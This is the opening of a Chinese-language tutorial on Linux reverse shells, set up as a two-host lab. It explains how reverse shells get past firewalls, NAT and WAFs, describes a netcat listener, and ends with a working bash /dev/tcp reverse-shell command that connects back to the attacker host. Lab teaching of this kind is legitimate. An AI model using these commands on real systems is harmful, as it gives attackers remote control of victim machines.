Linux反弹Shell的多种技巧
反弹Shell的使用场景
使用反弹Shell(Reverse Shell)的主要原因包括防火墙限制、权限不足、端口限制、动态IP、内网NAT等情况,这些限制使得传统的正向连接(如SSH、Telnet等)难以实现。以下是使用反弹Shell的几个主要原因:
- 防火墙限制:目标主机可能位于防火墙之后,该防火墙只允许出站连接而不允许入站连接。在这种情况下,正向连接(攻击者主动连接到目标主机)将无法实现,而反弹Shell允许目标主机主动连接到攻击者监听的端口,从而绕过防火墙限制。
- 动态IP地址或网络限制:目标主机的IP地址可能是动态的,或者网络环境经常变化,导致攻击者无法持续通过正向连接进行控制。反弹Shell允许目标主机主动寻找并连接到攻击者的稳定IP地址,确保连接的持续性。
- 端口限制:当目标机器的端口被占用或无法直接连接时,反弹Shell可以通过受害者主机主动连接到攻击者的服务端,实现命令执行,解决了端口限制的问题。
- 安全策略或软件限制:目标主机可能配置了严格的安全策略或软件(如WAF),这些策略或软件对入站连接进行严格的检测和过滤,但对出站连接的检查可能较少或不存在。通过反弹Shell,攻击者可以绕过这些安全策略或软件的检测。
- 目标主机在局域网内:如果目标主机位于局域网内,并且从外网无法直接访问,那么正向连接将无法实现。反弹Shell允许目标主机通过局域网内的路由器或网关主动连接到外网的攻击者,从而实现对目标主机的远程控制。
- 目标环境不明确:如果攻击者对被控机器的环境不了解,如对方的网络环境、开关机时间等,使用反弹shell可以建立一个服务端让被攻击主机主动连接,从而不用担心目标机器的状态。
前期准备
这里我们使用主机1作为攻击主机,主机2作为被攻击主机。
- 主机1
操作系统:Ubuntu 24.04
主机IP:192.168.88.201
主机名:ctf-1 - 主机2
操作系统:Ubuntu 24.04
主机IP:192.168.88.202
主机名:ctf-2 - 必要工具安装
# 安装netcat
apt install netcat-traditional
命令 nc -lvnp <端口号> 在 Linux 系统中用于启动一个监听指定端口的 Netcat(nc)服务。Netcat 是一个功能强大的网络工具,用于读写网络连接。这个命令的各个选项意义如下:
-l:监听传入的连接,而不是主动向外发起连接。
-v:详细模式(verbose),显示输入输出信息。有些版本的 Netcat 可能需要 -vv 来获得更详细的输出。
-n:直接使用 IP 地址,不通过域名服务器(DNS)来解析主机名。这可以加快连接速度,特别是在处理大量连接或测试时。
-p <端口号>:指定本地端口号进行监听。<端口号> 应该替换为你想要监听的端口号,比如 4444。
1、使用Bash进行Shell反弹
前提条件:当前用户有权限执行Bash命令。
- 在攻击主机上监听准备使用的端口
# 监听5000端口
nc -lvnp 5000
示例如下:
- 在目标主机上使用Bash发起反弹Shell连接
# 发起反弹Shell连接
bash -i >& /dev/tcp/192.168.88.201/5000